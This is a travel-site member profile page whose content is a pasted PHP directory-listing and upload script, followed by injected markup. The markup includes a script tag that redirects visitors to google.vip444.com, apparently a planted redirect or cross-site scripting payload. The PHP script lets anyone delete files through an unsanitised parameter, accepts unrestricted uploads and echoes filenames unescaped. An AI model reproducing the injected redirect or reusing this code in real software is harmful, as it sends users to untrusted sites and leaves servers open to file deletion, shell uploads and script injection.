" // This started out as this ??? http://w" Personal Page by pinocrew

// This started out as this ??? http://w

<?php

// This started out as this ??? http://www.evoluted.net/community/code/directorylisting.php
// It was then edited by Ryan McCue from http://cubegames.net/ to include file uploading
// Then I took it and stripped it back to it's bare minimum of less than 150 lines of
// PHP and HTML and just 20 lines of CSS. My name is Jim Whimpey and you can
// find me at valhallaisland.com

// This code is released under GPL 3.0 which is included in the bundle

// Files to hide in the directory listing
// add and subtract as you please
$hide = array( 'resources',
'up.php',
'.htaccess',
'.htpasswd',
'.DS_Store');

error_reporting(E_ERROR);

// When downloading force it to actually download
// rather than just open it in the browser
if ($_GET['download']) {
$file = str_replace('/', '', $_GET['download']);
$file = str_replace('..', '', $file);

if (file_exists($file)) {
header("Content-type: application/x-download");
header("Content-Length: ".filesize($file));
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile($file);
die();
}
}

$filepath = $_SERVER['SCRIPT_FILENAME'];
$scriptname = basename($filepath);
$readpath = str_replace($scriptname, "", $filepath);
$handle = opendir($readpath);

// If deleting
if (isset($_GET['rmfile'])) {
unlink($readpath . $_GET['rmfile']);
}

// If uploading
if ($_FILES['file']) {
$success = move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}

while ($file = readdir($handle)) {

if ($file == "." || $file == ".." || in_array($file, $hide)) continue;

$key = @filemtime($file);

$files[$key] = $file;

}

closedir($handle);

// Sort our files
@ksort($files, SORT_NUMERIC);
$files = @array_reverse($files);

?>

<!DOCTYPE html>
<html>

<head>

<title>Super Simple PHP File Manager</title>
<link rel="stylesheet" type="text/css" href="resources/styles.css" />

</head>

<body>

<?php $baseurl = $_SERVER['PHP_SELF']; ?>

<table border="0" cellspacing="5" cellpadding="5">

<?php
$arsize = sizeof($files);

for ($i=0; $i<$arsize; $i++) {

$ext = strtolower(substr($files[$i], strrpos($files[$i], '.')+1));

$filename = stripslashes($files[$i]);
$fileurl = $files[$i];
if (strlen($filename) > 43) {
$filename = substr($files[$i], 0, 40) . '...';
}
?>

<tr>
<td><img src="resources/zip.gif" /></td>
<td><a href="./up.php?download=<?php echo $filename; ?>"><?php echo $filename; ?></a></td>
<td><?php echo round(filesize($leadon.$files[$i])/1024); ?>KB</td>
<td><?php echo date ("d/m/y", filemtime($leadon.$files[$i]));?></td>
<td><a href="./up.php?rmfile=<?php echo $filename; ?>">Delete</a></td>
</tr>

<?php } ?>

</table>

<div id="upload">

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" enctype="multipart/form-data">
<p><input type="file" name="file" /></p>
<p><input type="submit" value="Upload" /></p>
</form>

</div>

</body>

</html>

">"">>>>location="http://google.vip444.com

">"">>>><script>location="http://google.vip444.com"</script>"""">

  • Page Updated May 26, 2011
  • Report Abuse

Comments

Share your travels with the world!

Join Now!
This member has not been ranked.
No VT rank yet.
         
Member Since
May 26, 2011

Badges & Stats

  • 0 Reviews
  • 0 Photos
  • 5PageViews
  • 0 Countries
  • 0 Cities

Latest Activity

See All Activity

Friends

No friends yet.